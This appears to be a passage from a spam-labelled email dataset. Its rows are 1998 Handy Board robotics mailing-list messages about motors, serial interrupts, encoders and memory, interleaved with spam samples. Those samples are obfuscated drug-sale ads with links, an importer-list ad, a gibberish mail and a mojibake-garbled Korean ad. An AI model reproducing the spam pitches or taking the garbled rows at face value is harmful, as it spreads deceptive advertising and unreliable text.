IEEE micromouse, and very successful Trinity fire-fighting robots (including first place in 1997) using LEGO motors. I used surplus DC motors in the past, but we encountered too many problems including mounting/interfacing to LEGO, alignment, current demands, etc. Good luck. -bob Bob Avanzato Assoc. Prof. of Engineering Penn State Abington At 10:13 AM 2/13/98 -0700, Greg Starr wrote: >What has been people's experience in using the Lego 9V motors with the >Handyboard? I know they're overpriced, but they are easy to use... > >We've used small RC car motors etc. in our Lego robot course in past years, >but some students have been looking at the Lego motors and I promised them >I'd see what I can find out. Thanks for any help. > > --greg > >***************************************************************** >* Greg Starr, Professor and Graduate Advisor * >* Department of Mechanical Engineering ph (505) 277-6298 * >* University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * >* email- starr@unm.edu WWW- http://pliers.unm.edu/~starr/ * >***************************************************************** > > > > ",0,1 �Ӽ��� ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 19:56:41 +0500","�̱� �����, �౹ ��ǰ��... ��,,��,,��,,��....��,,��,,��,,��....��,,��,,Ʈ,,��...","����(����)���� �������� �� ������. �������� �� ������ ���� ������. ������ �������� �� : 8282gogo@gmail.com * �� �� * (���� �������� ����������) ��/��/��/�� 100mg (10,30) ---> 0 ��(��) ��/��/��/�� 100mg (10,30) ---> 0 ��(��) ��/��/��/�� 20mg (10,30) ---> 0 ��(��) ��������SET (9 �� 1SET) ---> 0 SET * ������ * (������ ������ ������) ������ : �������� : �������� : ������ 1 : ������ 2 : �������� �� �������� ���� ���� : ������ �������� �� : 8282gogo@gmail.com �������� �������� �� : 99jisong@gmail.com * ���������� ������ ���� ��������. ���� �������� ����������.     �������� �������� ����������, ���� 24���� ������ ������ ������ ���� ��������.",1,1 Jeff Keyzer ,PCA95RAS@sheffield.ac.uk,"Fri, 13 Feb 1998 13:46:23 -0800",Re: 'uploading' data?,"At 11:43 AM 2/12/98 +0000, you wrote: >Hi, >I am programming a 6.270 board with IC and wondered if there was any way of >'uploading' data from the board back to my PC? or would the only way to get >the data be to print it out on the screen.... >Thanks, >Ruth > Yes, this is very possible, and I've done a fair amount of work for various experiments where I needed to get data back from the board. First, you should check out http://www.ai.mit.edu/people/rsargent/ic/serialio.html for the routines that the 6.270 and Handy Board that let you disable the communication stream between IC and the board and then send your own data over the main serial link. There are also Richard Drushel's routines, which implement some basic functions to send/receive data between the board and a host computer. These routines can be found at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/contrib /drushel/ and have worked very well for me. On the PC side, you'll have to either open up a terminal window to the COM port you have the board on (9600 baud, no handshake), or write a software program to handle the data. I use Linux to talk to my HB, which simplifies programming quite a bit and works very well overall for data logging, remote control, etc. One of my current projects is using the HB to activate the PTT circuit on an amateur radio in an effort to set up a remote control station. Doing that sort of thing is very simple in Linux, while a monster in Win95 or DOS. Linux serial routines can be found on the Linux Documentation Project HOWTO page or on sunsite, etc. Hope this helps! -------------------------------- Jeff Keyzer, KF6PBP UCSD EE Major jkeyzer@ucsd.edu http://sehplib.ucsd.edu/~jkeyzer/ ",0,1 Phil ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 09:45:07 -0600",re: 9v lego motors,"Lego motors are OK ptrformance wise (if youre talking about small robots), but the cost is really bad. What I would recommend is taking surplus motors and superglueing them together to lego bricks. Especially for photsensors and switches. phil ",0,0 Ian Bagley ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 21:30:20 +0000",Re: Lego 9V motors work well?,"In article , Greg Starr writes >What has been people's experience in using the Lego 9V motors with the >Handyboard? I know they're overpriced, but they are easy to use... > >We've used small RC car motors etc. in our Lego robot course in past years, >but some students have been looking at the Lego motors and I promised them >I'd see what I can find out. Thanks for any help. > > --greg > >***************************************************************** >* Greg Starr, Professor and Graduate Advisor * >* Department of Mechanical Engineering ph (505) 277-6298 * >* University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * >* email- starr@unm.edu WWW- http://pliers.unm.edu/~starr/ * >***************************************************************** > > I've used lego motors and have found them much better than other motors i have tried for torque. The ease of integrating them into lego buggies is obviously a major bonus aswell! ___ IAN | |__ _______ ______ ___ ______ ___ ___ | _ \\| _ | ___| | | _____|\\ \\/ / | |_ ) | _ | |_--- |___| ____| | | |________|__| |__|____ |______|______| |____| WWW.BAGLEY.DEMON.CO.UK|__|IAN@BAGLEY.DEMON.CO.UK",0,1 """Fred G. Martin"" ",veenjs@cs.utwente.nl,"Fri, 13 Feb 1998 17:39:57 -0500",Re: Interrupt for serial data ,"Jan-Sipke, You're really pretty far away from having this work. It's not just a matter of redirecting the serial interrupt; when you get there, you have to: * store incoming character in a buffer * advance the buffer pointer * check the buffer for overruns then you need a separate subroutine which fetches the character from the buffer (checking first if there is anything there), and decrements the buffer point. learning how to write interrupt code is probably the hardest part of assembly programming. my best advice to you is to simply write code on the PC side to slow down your transmit character rate until things work. and make sure on the HB side, you're in a tight loop receiving characters when communications are in progress. fred In your message you said: > I've decided to write an interrupt routine for the handling of serial data on > the Handy Board. An example of an interrupt routine is given in the Handy Boa rd > technical reference. This works like a charm. I've modified it to use the SCI > interrupt. The code is listed below. > > No interrupts seem te occur. The test is like this: > > * Start IC > * load myfile.icb > * load myfile.c (* in main : *) > poke (0x3c, 1); > printf (""%d"", foo); > int_init (0); > start_press (); > printf (""%d"", foo); > * Exit IC > * reset Handy Board > * it prints: 55 > * send a character to the Handy Board (in Borland Pascal) > * press Start button > * it prints: 55 > > > Can anyone see the mistake here? > Hope I'm not too annoying with all my questions. > > Jan Sipke van der Veen > > > > #include ""include\\6811regs.asm"" > > subroutine_int_init: > #include ""include\\findx.asm"" > LDD SCIINT,X > STD interrupt_code_exit+1 > > LDD #interrupt_code_start > STD SCIINT,X > > * Receive Enable (bit 2) + > * Transmit Enable (bit 3) + > * Receive Interrupt Enable (bit 5) = $2C > LDAA #$2C > STAA SCCR2,X > > RTS > > variable_foo: > FDB 55 > > interrupt_code_start: > LDD #42 > STD variable_foo > > interrupt_code_exit: > JMP $0000 > ",0,0 Ian Bagley ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 21:26:08 +0000",Re: Sonar,"In article , Michael S. Reiling writes > >Yup. I loaded the sonar.c file and ran the sonar_display() routine. It >just displays values that make no sense. The sonar doesn't click and the >diodes get hot. After recieveing some mail from other, I have come to the >conclusion that the diodes are hooked up properly. What could be causing >the heat? Is there a short somewhere? > > > > Did you remember to solder the C7 capacitor in? ___ IAN | |__ _______ ______ ___ ______ ___ ___ | _ \\| _ | ___| | | _____|\\ \\/ / | |_ ) | _ | |_--- |___| ____| | | |________|__| |__|____ |______|______| |____| WWW.BAGLEY.DEMON.CO.UK|__|IAN@BAGLEY.DEMON.CO.UK",0,0 Max Davies ,"""Fred G. Martin"" , Jan-Sipke van der Veen ","Fri, 13 Feb 1998 18:21:24 -0500",Re: Interrupt for serial data,"Fred G. Martin wrote: > Jan-Sipke, > > You're really pretty far away from having this > work. It's not just a > matter of redirecting the serial interrupt; when > you get there, you > have to: > > * store incoming character in a buffer > * advance the buffer pointer > * check the buffer for overruns > > then you need a separate subroutine which > fetches the character from > the buffer (checking first if there is anything > there), and decrements > the buffer point. > > learning how to write interrupt code is probably > the hardest part of > assembly programming. my best advice to you is > to simply write code > on the PC side to slow down your transmit > character rate until things > work. and make sure on the HB side, you're in a > tight loop receiving > characters when communications are in progress. Sipke obviously realizes that more work is needed, and justs want to get to step 1 first by recognizing the interrupt. That is exactly what I would do too. I've been thinking about writing an interrupt-driven serial receive routine too, but haven't had the time for it yet. Such a method would be magnitudes better than the 'tight-loop' reception method which I find always gives me trouble once my program gets complicated enough to not run as fast as I would like. On the other hand, maybe there's a comprimise approach: Try writing 'C' code that you run as a seperate high priority process to poll for serial input and buffer it, and add a support routine that your normal code can call to pull characters out of that buffer. /Max ",0,0 """Fred G. Martin"" ",Phil ,"Fri, 13 Feb 1998 18:33:36 -0500",Re: 9v lego motors ,"Everyone is complaining about the price of LEGO motors. There is a new product, a gear reduction motor, that is a great value. It is a super efficient DC motor with a built in gearbox that can be used for direct drive, or with one stage of gear reduction. At $24.50, it's cheaper than any gear motor but those found sporadically on the surplus market. Plus it's fully LEGO compatible. It should be available now, but might still be delayed for a couple of months. Call PITSCO (800) 362-4308 to get a catalog. I don't know the part # offhand, but it's the ""9v gear reduction motor."" You might need to get 9v connector leads as well. Fred In your message you said: > Lego motors are OK ptrformance wise (if youre talking about small robots), > but the cost is really bad. > What I would recommend is taking surplus motors and superglueing them > together to lego bricks. Especially for photsensors and switches. > phil > > ",0,0 """Fred G. Martin"" ",macman@inreach.com,"Fri, 13 Feb 1998 19:03:34 -0500",Re: Sonar ,"If the diodes are getting hot, it does indicate a short. Fred In your message you said: > In article , Michael S. Reiling > writes > > > >Yup. I loaded the sonar.c file and ran the sonar_display() routine. It > >just displays values that make no sense. The sonar doesn't click and the > >diodes get hot. After recieveing some mail from other, I have come to the > >conclusion that the diodes are hooked up properly. What could be causing > >the heat? Is there a short somewhere? > > > > > > > > > > Did you remember to solder the C7 capacitor in? > > ___ IAN > | |__ _______ ______ ___ ______ ___ ___ > | _ \\| _ | ___| | | _____|\\ \\/ / > | |_ ) | _ | |_--- |___| ____| | | > |________|__| |__|____ |______|______| |____| > WWW.BAGLEY.DEMON.CO.UK|__|IAN@BAGLEY.DEMON.CO.UK > >",0,0 """Fred G. Martin"" ",Max Davies ,"Fri, 13 Feb 1998 19:26:03 -0500",public apology,"Yes -- I didn't think very hard and in retrospect it's fairly evident that Jan-Sipke's code is just the starting step. Sorry for being such a blunderhead. (Jan-Sipke and I have been exchanging some private messages and I think he's closing in on a solution.) Fred In your message you said: > Fred G. Martin wrote: > > > Jan-Sipke, > > > > You're really pretty far away from having this > > work. It's not just a > > matter of redirecting the serial interrupt; when > > you get there, you > > have to: > > > > * store incoming character in a buffer > > * advance the buffer pointer > > * check the buffer for overruns > > > > then you need a separate subroutine which > > fetches the character from > > the buffer (checking first if there is anything > > there), and decrements > > the buffer point. > > > > learning how to write interrupt code is probably > > the hardest part of > > assembly programming. my best advice to you is > > to simply write code > > on the PC side to slow down your transmit > > character rate until things > > work. and make sure on the HB side, you're in a > > tight loop receiving > > characters when communications are in progress. > > Sipke obviously realizes that more work is needed, > and justs want to get to step 1 first by > recognizing the interrupt. That is exactly what I > would do too. > > I've been thinking about writing an > interrupt-driven serial receive routine too, but > haven't had the time for it yet. Such a method > would be magnitudes better than the 'tight-loop' > reception method which I find always gives me > trouble once my program gets complicated enough to > not run as fast as I would like. > > On the other hand, maybe there's a comprimise > approach: Try writing 'C' code that you run as a > seperate high priority process to poll for serial > input and buffer it, and add a support routine > that your normal code can call to pull characters > out of that buffer. > > /Max > > > ",0,0 Phil ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 13:20:59 -0600",using relays to run a motor,"Hi Ive elected to use 2 relays to run a motor. Im going to put one motor on with the power coming in 'straight' and the other one in reverse of the first one: [RELAY 1] [RELAY 2] ++ -- -- ++ (power is inverted) |--------| |-----------| | \\_______ | DIODE \\ DIODE +-----------------+ \\ | | \\ | HB motr port 1: X X-------+ Will this method work effectively by allowing only 1 relay to work at once? One other question: What could I use in place of a diode, since the motor ports operate at a higher voltage and amperage than most diodes are. Or how ca I effectively reduce the power output of the HB? Thanks alot! phil ",0,0 Will Bain ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 19:50:21 -0700",Re: encoders,"At 07:58 PM 2/13/98 +1100, Joe Martin wrote: >Hello all, > I am attempting to use the shaft encoder routines but am having trouble.When I try to load the file fencoder0.icb I get a message that ic cannot find the file.Any hints? > Also I would like to know whether these routines count off one edge of a pulse or what dictates how the count is incremented. I think the file is named fencdr0.icb by default (not fencoder.icb). Maybe it's just that simple (I hope)? Also, it's probably easiest if it's in the directory with all the other stuff you're loading (the lib directory). These encoder routines seem to simply monitor the analog port and increase the count whenever the reading drops below the low threshold or goes above the high threshold. The simple way to set these threshold values is to print the value on the analog port repeatedly in a loop while spinning the shaft around, and making a note of the low and high readings. My Hall-effect magnetic sensors, for example, only range between about 110 and 135, so I set the low threshold to 115 and the high to 130, and they work great. Your results will vary depending on the type of sensors you're using (IR transceiver, etc.), but if you calibrate them correctly, you'll be off by just a constant factor. Try the slow versions of the routines first (e.g. sencdr0.icb) instead of the fast ones, since the slow ones are more efficient. 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These encoder routines seem to simply monitor the analog port and increase the count whenever the reading drops below the low threshold or goes above the high threshold. [Joe Martin] [Joe Martin] [Joe Martin] Does this mean that if you have a very slow pulse the encoder routine may increment more than one time per pulse or is it triggered of only on a rising or falling edge? The simple way to set these threshold values is to print the value on the analog port repeatedly in a loop while spinning the shaft around, and making a note of the low and high readings. My Hall-effect magnetic sensors, for example, only range between about 110 and 135, so I set the low threshold to 115 and the high to 130, and they work great. Your results will vary depending on the type of sensors you're using (IR transceiver, etc.), but if you calibrate them correctly, you'll be off by just a constant factor. Try the slow versions of the routines first (e.g. sencdr0.icb) instead of the fast ones, since the slow ones are more efficient. Good luck. --Will Bain , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Few things are harder to put up with Will Bain, than the annoyance of a good example. & Tatoosh --Mark Twain ",0,0 Foma Corr ,"conn@monmouth.com, annette@monmouth.com, annie@monmouth.com, ines@monmouth.com, miranda@monmouth.com, shanna@monmouth.com, chris@monmouth.com","Fri, 13 Feb 1998 23:41:50 -0500",stressful life?,"in cancelled some pasteur may downspout or wiretapper may squad ",1,0 Linnie Gardea ,handyboard@media.mit.edu,"Sat, 14 Feb 1998 07:07:04 -0700",Re: your VtAhGRA,"Hi Look, this information might be pretty interesting for you X L P C V V A a e r I A I m n v o A L A b a i z L I G i x t a I U R e ra c S M A n http://www.lanseislan.com water-gate so as to let out the barrels as soon as they were all afloat below. Down the swift dark stream you go Back to lands you once did know! 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This allows you to count either rising or falling signals. Good luck to you and your robot. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 Chuck McManis ,"""Richard O'Neill [94094039-EE]"" ","Sat, 14 Feb 1998 13:46:59 -0800",Re: 68HC11 modes,"The handyboard has to stay in special test mode so that it can switch into and out of 'single chip' mode at will. This is necessary to operate the LCD (which uses either a clever or gross hack depending on your taste). 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Thank you, John Woolsey ",0,0 MAR ERICSON ,handyboard@media.mit.edu,"Sun, 15 Feb 1998 22:29:56 -0500",L293D,"where does the pwm go? ...the ""cs"" or the ""in"" pins? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Phil ,handyboard@media.mit.edu,"Sun, 15 Feb 1998 15:38:00 -0600",Infrared port on the HB is not working: need help!,"hello! I pulled out my HB today and rtied playing around with the IR port. it does not work for some reasons. I checked the remotes: they are still transmitting! Here are the steps I took: am I missing a step? 1. loaded sony-ir.icb 2. sony_init(1); 3. ir_data(n); and it alwayys returns a zero ,even when Im sending remote signals. So this means that the IR receiver on the HB is shot, right? Is there anythig else that may be acting up? thanks alot! phil thehahns@nconnect.net ",0,0 Stacker ,"""'handyboard@media.mit.edu'"" ","Mon, 16 Feb 1998 01:23:05 -0600",Measuring PW," Has anyone been able to successfully use Thomas Hauri's PW measuring routines?? For some reason whenever I try to load them they crash my IC. Any thoughts?? Joshua Stark j-stark@uiuc.edu Aspiring Computer Engineering Major ",0,0 Alexandria Hedrick ,handyboard@media.mit.edu,"Mon, 16 Feb 1998 08:09:21 +0200",Longer...Harder N4," Best offer of the month: Viggra - $76.95 Ci ialis - $98.95 VaIium - $104.95 Xa naax - $120.95 Phantermiine - $106.95 Cod-deine - $111.95 Only for limiited time.. http://maxx14.hbshop.biz lxye ",1,1 Jeff Loeliger ,- Handyboard mailing list ,"Mon, 16 Feb 1998 10:35:07 +0000",using the MC34064 LVI,"Hello, This is a warning for anyone considering using the Motorola MC34064 to replace the DS1233. I have just built a couple handyboards and I had some problems getting them working. I finally tracked the problem done to the LVI. I used the MC34064 instead of the DS1233 because I had some laying around. WARNING the pin out on the two is not the same: Pin DS1233 MC34064 1 GND *RESET 2 *RESET +5 3 +5 GND The MC34064 can be used but it must be rotated 120 degrees so that the signals will be correct. -- Jeff ______________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com \\""/ Systems Engineering Department\\ \\ phone: +44-1355-56-5400 ( ) Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 | East Kilbride, Scotland \\ \\_____________________________________________________________________\\ ",0,0 """Fred G. Martin"" ",Phethsavong Prachith ,"Mon, 16 Feb 1998 09:49:35 -0500",Re: pa7 9600 serial output ,"> Hi, I'm trying to interface the FerretTronics Servo Controller Chip FT639, > to the handyboard > using PA7. How can i modify the pa7_9600.asm file to transmit at 2400 baud? > You have to re-write the bit_delay loop to take up four times as much time. Just multiply the delay count value by four, e.g., ""LDAB #148"". Fred (following is the 9600 code.) * take up 0.1042 millisecs * 208 cycles bit_delay LDAB #37 bit_loop DECB ; 2 cycles BNE bit_loop ; 3 cycles RTS ",0,0 roneill@thorung.eeng.dcu.ie,handyboard@media.mit.edu,"Mon, 16 Feb 1998 15:32:00 +0000",Digital input cct," Hi there, I'm in the middle of building a handyboard and I'm having a lot of problems. I'm on part 7.2 (Digital Input cct) and the testdigitals(); function in hbtest.c doesn't respond to the start button. All the chips and RP1 are installed properly and none are getting hot. While testing pin1 of U5, the yellow Charge LED on the I/C board lights up fully. Is this supposed to happen, as I suspect it's not good. I just tried it now, and even when testdigitals(); is not running, it still does the same thing, in fact, it stops any communication between the board and the computer. This is part of my final year project and I've been stuck on this for ages. If anyone could help, I'd really appreciate it. Thanks, Rob O' Neill ",0,0 REMexport ,handyboard@media.mit.edu,"Mon, 16 Feb 1998 14:56:13 -0700",LISTS OF IMPORTERS/ DEALERS/ MANUFACTURERS IN SINGAPORE,"------------------------------------------------------ LISTS OF IMPORTERS/ DEALERS/ MANUFACTURERS IN SINGAPORE http://www.remexport.com/singapore_importer.html ----------------------------------------------------- remove me: mailto:pidok@mynet.com ",1,1 TerriCherr@aol.com,veenjs@cs.utwente.nl,"Mon, 16 Feb 1998 14:02:05 -0500",Re: Interrupt for serial data," I have been using very successfully for two months now, the code in the attached zip file. It has Interrupt Driven Transmit & Receive functions, both are buffered. I found the code easy to adapt for my specific task. Messages can be ""Canned"", Fixed, or variable length. *** I found this on the Net somewhere, but cant remember now. All rights belong to the originator - Thank You !! The second thing I noticed in your mail was looking for ways to control Data flow to keep your PC & HB syncronized. There is a solution built into the attached software as well !! Its commonly known as ""XON / XOFF Flow control"". If the software receives $11 in the buffer it turns ON the transmitter , allowing data to be sent - this is XON. Alternatively, if the software receives $13 in the buffer it turns OFF the transmitter , stopping data transmission- this is XOFF. A similar technique could be used at the PC end for controlling data from the PC. Many Regards, Terry Howsham ",0,0 TerriCherr@aol.com,veenjs@cs.utwente.nl,"Mon, 16 Feb 1998 14:04:02 -0500",Re: Interrupt for serial data,"I have been using very successfully for two months now, the code in the attached zip file. It has Interrupt Driven Transmit & Receive functions, both are buffered. I found the code easy to adapt for my specific task. Messages can be ""Canned"", Fixed, or variable length. *** I found this on the Net somewhere, but cant remember now. All rights belong to the originator - Thank You !! The second thing I noticed in your mail was looking for ways to control Data flow to keep your PC & HB syncronized. There is a solution built into the attached software as well !! Its commonly known as ""XON / XOFF Flow control"". If the software receives $11 in the buffer it turns ON the transmitter , allowing data to be sent - this is XON. Alternatively, if the software receives $13 in the buffer it turns OFF the transmitter , stopping data transmission- this is XOFF. A similar technique could be used at the PC end for controlling data from the PC. Many Regards, Terry Howsham ",0,0 """Kevin B. Smith"" ","""'handyboard@media.mit.edu'"" ","Mon, 16 Feb 1998 12:50:17 -0700",Expanding the memory of the handyboard,"A number of students that used the handyboard in our Mechatronics competition needed substantially more memory than the 16,320 bytes currently available. What options are there to add memory to the handyboard? Thanks to everyone who contributes to handyboard@media.mit.edu Kevin B. Smith kbsmith@byu.edu -----Original Message----- From: Fred G. Martin [SMTP:fredm@media.mit.edu] Sent: Thursday, February 12, 1998 7:46 AM To: patrick@surfari.net Cc: handyboard@media.mit.edu Subject: Re: Fw: questions on IC re: #1, in a sense, the stuff you downloaded *is* there, but IC doesn't know how to access it until you re-download. So yes, each time you restart IC, you must re-download your project. re: #2. there are not good reporting tools for memory usage. i think the 'mem' command reports free memeory in the IC application, which isn't that relevant. the way that the 6811 memory is partitioned is follows, there is basically 16K for user code. There is no way to free up more space without recompiling IC. Here are some more details. user program object code + user global variables 16320 bytes available runtime OS 7936 bytes used stack space for user processes 6656 bytes used buffer for interaction process 256 bytes used buffer for printing 256 bytes used When downloading your code, IC tells you how many bytes are going down. You've got 16,320 available. Fred In your message you said: > This is a multi-part message in MIME format. > > ------=_NextPart_000_01BD36FA.F5C69CC0 > Content-Type: text/plain; charset=ISO-8859-1 > Content-Transfer-Encoding: 7bit > > If there is ANYONE out there who can give me just a little guidance on > these two issues, or at least the first and most important one, I would > certainly appreciate hearing from them... an extended treatise isn't > necessary, just a short answer will do... > thanks, > -patrick > ---------- > > From: Patrick Cutts > > To: handyboard@media.mit.edu > > Subject: questions on IC > > Date: Monday, February 09, 1998 10:33 PM > > > > Hi all, > > These questions are probably pretty trivial, but please bear with me, as > I > > have only been using IC for 2 days: > > 1. I was under the impression that the files I loaded onto my HB would > > remain there when I turn it off, I mean, the pcode does, but when I load > > files or functions (for example lib_hb.c) using IC, they aren't there the > > next time I run IC. Is this normal? If so, and they get deleted when I > > quit IC, what do I need to do when I want to cut the umbilical and have > my > > robot roll around on its own? > > > > 2. When I use the 'mem' command in IC, I get ' of bytes on > > host', where appears to be 32K minus the size of the files > I > > have loaded. Is this how much memory is left on my HB or my PC? If it > > shows how much memory is left on my PC, is there a way to find out how > much > > of the 32K is still available on the HB? > >",0,0 Richard ,handyboard@media.mit.edu,"Mon, 16 Feb 1998 13:47:04 -0800",bouncing ball,"Hey! Im a realitivly clueless High school guy. Our Adventures in Supercomputing group is making a mobile robot using a handyboard and 3 or 4 infared sensors. Is tyhe bouncey ball method a good one for having a rover permeate a halled area? the thinking behind this method is that if you throw one of those dangerously bouncey super ball bouncey balls they go everywere, out the cracked window, into the dogs food bowl, into the guest room. Anyway...just wondering. ",0,0 """Fred G. Martin"" ","""Kevin B. Smith"" ","Mon, 16 Feb 1998 17:14:26 -0500",Re: Expanding the memory of the handyboard ,"Dear Kevin, Please forgive this non-answering of your question, but I am curious as to what kinds of hardware projects/software objectives were your students working on when they ran out of 'hc11 memory, and how did they deal with this circumstance? Fred ",0,0 bill_r@inetnebr.com,handyboard@media.mit.edu,"Tue, 17 Feb 1998 02:32:31 +0000",Re: Lego 9V motors work well?,"I'm curious how you went about securing the motors to your robots. I picked up a couple yesterday, and they do seem to be very good quality motors, but just sticking them on ""the LEGO way"" doesn't work too well. They keep ripping themselves loose and falling out. Did you end up drilling through the bricks and using screws, or did you glue them in place, or what? On Fri, 13 Feb 1998 14:46:35 -0500, Bob Avanzato wrote: >Hi Greg, >I have been using LEGO 9v motors for a few years and I am very pleased with >the results. I run freshman and sophomore engineering design and computer >science courses using LEGO kits and HB's. The motors are well worth the >price if you are integrating with LEGO. My students have built Nerf >basketball playing robots, a successful IEEE micromouse, and very successful >Trinity fire-fighting robots (including first place in 1997) using LEGO >motors. I used surplus DC motors in the past, but we encountered too many >problems including mounting/interfacing to LEGO, alignment, current demands, >etc. Good luck. > >> -Bill Richman bill_r@inetnebr.com http://incolor.inetnebr.com/bill_r (Home of the COSMAC Elf Simulator!) ",0,1 """Kevin B. Smith"" ","""'Fred G. Martin'"" ","Mon, 16 Feb 1998 19:34:14 -0700",RE: Expanding the memory of the handyboard," Dear Fred, The Mechatronics class competition was to build autonomous miniature forklifts that would navigate a complex course. In the course, the forklifts had to identify, pick up, and deliver three. The path that the forklifts had to negotiate became increasingly difficult for each pallet they encountered. They determined the ID of the pallet from a barcode label. They received material handling instructions (i.e. which bay to take the pallet) and traffic information from a IR Tower that broadcast instructions from the center of the course. They also had to negotiate a ""factory door"" that they sensed to determine if it was closed. Pictures of the competition can be seen at http://www2.et.byu.edu/~eetwww/Mfet548/ The students handled the memory limitation by eliminating as many of the programs loaded at start up that they could and making their code as concise as possible. The Handyboard is very useful and the students really enjoyed working with it. However, the memory limitation was a problem for the students that did the best in the competition. One of the students, Richard Abbott, asked the same question back in November but I didn't see any responses. Since the topic of memory came up was hoping someone might be willing to share a solution - if there is one. The idea to have a Mechatronics competition came from seeing your work at MIT, and the Handyboard greatly facilitated building the forklifts. For this I want to say thank you. It made big difference in the class. I look forward to hearing from you. Kevin -----Original Message----- From: Fred G. Martin [SMTP:fredm@media.mit.edu] Sent: Monday, February 16, 1998 3:14 PM To: Kevin B. Smith Cc: 'handyboard@media.mit.edu' Subject: Re: Expanding the memory of the handyboard Dear Kevin, Please forgive this non-answering of your question, but I am curious as to what kinds of hardware projects/software objectives were your students working on when they ran out of 'hc11 memory, and how did they deal with this circumstance? Fred ",0,1 Will Bain ,handyboard@media.mit.edu,"Mon, 16 Feb 1998 22:10:47 -0700",Re: Lego 9V motors work well?,"At 02:32 AM 2/17/98 GMT, Bill Richman wrote: >I'm curious how you went about securing the motors to your robots. I >picked up a couple yesterday, and they do seem to be very good quality >motors, but just sticking them on ""the LEGO way"" doesn't work too >well. They keep ripping themselves loose and falling out. Did you >end up drilling through the bricks and using screws, or did you glue >them in place, or what? The Lego motors are sized such that they can be ""pinned"" to the frame of a Lego robot easily. With a horizontal beam beneath the motor and another across the top, a pair of six-unit beams can be pinned vertically to the horizontal beams using the Technics black pins, resulting in a bomb-proof assembly. My entire robot chassis is built this way, and so it's guaranteed not to come apart unless I take it apart. For details on the general Lego pinned structure technique, see ""The Art of LEGO Design"" link at the bottom of the Docs page on the Handy Board site. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Maybe this world Will Bain, is another planet's hell. & Tatoosh --Aldous Huxley ",0,0 """Michael S. Reiling"" ",Ian Bagley ,"Mon, 16 Feb 1998 21:06:33 -0800",Re: Sonar,"Sure did. I used a ceramic disk capacitor... Hope that was okay to use. I just can't find what the problem is with the ranging board. For all I know, it has never worked. This is my first attempt at using it. There really isn't a whole lot to the board, and I am generally confused what could be causing a short. Mike ----- >In article , Michael S. Reiling > writes >> >>Yup. I loaded the sonar.c file and ran the sonar_display() routine. It >>just displays values that make no sense. The sonar doesn't click and the >>diodes get hot. After recieveing some mail from other, I have come to the >>conclusion that the diodes are hooked up properly. What could be causing >>the heat? Is there a short somewhere? >> >> >> >> > >Did you remember to solder the C7 capacitor in? > > ___ IAN > | |__ _______ ______ ___ ______ ___ ___ > | _ \\| _ | ___| | | _____|\\ \\/ / > | |_ ) | _ | |_--- |___| ____| | | > |________|__| |__|____ |______|______| |____| > WWW.BAGLEY.DEMON.CO.UK|__|IAN@BAGLEY.DEMON.CO.UK >",0,0 Stacker ,"""'handyboard@media.mit.edu'"" ","Tue, 17 Feb 1998 00:09:43 -0600",IC 3.x Reg Code," Does anyone have a temp 3 week reg code for IC 3.x that I could use?? Im having problems loading the frequency measuring routinues provided on this mailing list and I believe it might be because I'm still using IC 2.8 and the routines have been tested and used on IC 3.x. I dont want to have to put up $35 for the reg if it wont solve my problems. Thanks. Joshua Stark j-stark@uiuc.edu Aspiring Computer Engineering Major ",0,0 tlillich@midusa.net,NCreed1@aol.com,"Tue, 17 Feb 1998 08:56:30 -0500",[Fwd: [MADKY-L] More Turner Land Deeds],"Hi Nyla, Here are more Turner grantors I received in today. thought I'd pass them along to you again! Tammy -------------------- Return-Path: Received: from fp-1.rootsweb.com (fp-1.rootsweb.com [207.113.233.233]) by mail.midusa.net (8.8.7/8.8.7) with ESMTP id XAA24622; Mon, 16 Feb 1998 23:23:06 -0600 (CST) Received: (from slist@localhost) by fp-1.rootsweb.com (8.8.5/8.8.5) id VAA05734; Mon, 16 Feb 1998 21:10:16 -0800 (PST) Resent-Date: Mon, 16 Feb 1998 21:10:16 -0800 (PST) From: EileenGen@aol.com Message-ID: <5ce84224.34e91b69@aol.com> Date: Tue, 17 Feb 1998 00:08:55 EST To: MADKY-L@rootsweb.com Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Subject: [MADKY-L] More Turner Land Deeds Resent-Message-ID: <""ceLc7D.A.2HH.6pR60""@fp-1.rootsweb.com> Resent-From: MADKY-L@rootsweb.com X-Mailing-List: archive/latest/335 X-Loop: MADKY-L@rootsweb.com Precedence: list Resent-Sender: MADKY-L-request@rootsweb.com Here's more Turner Grantors from the Mad. Co Land Deed Index. Eileen Turner Grantors Turner, Reuben to Lucien F Griggs Jr-deed-Bk 31-Pg 302-Mon 8, 1884/Nov 12, 1884-7 1/2A Baughs Branch. ------------------------------------------------------------------ Turner, AC to AM White-P of A-30-454-Jan 10, 1884/Jan 26, 1884-Power of Attorney. ------------------------------------------------------------------ Turner, al Brutus W/Ruth to William J Whittaker-deed-30-460-Jan 1, 1884/Jan 29, 1884-28 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Harriet/A/Talton to 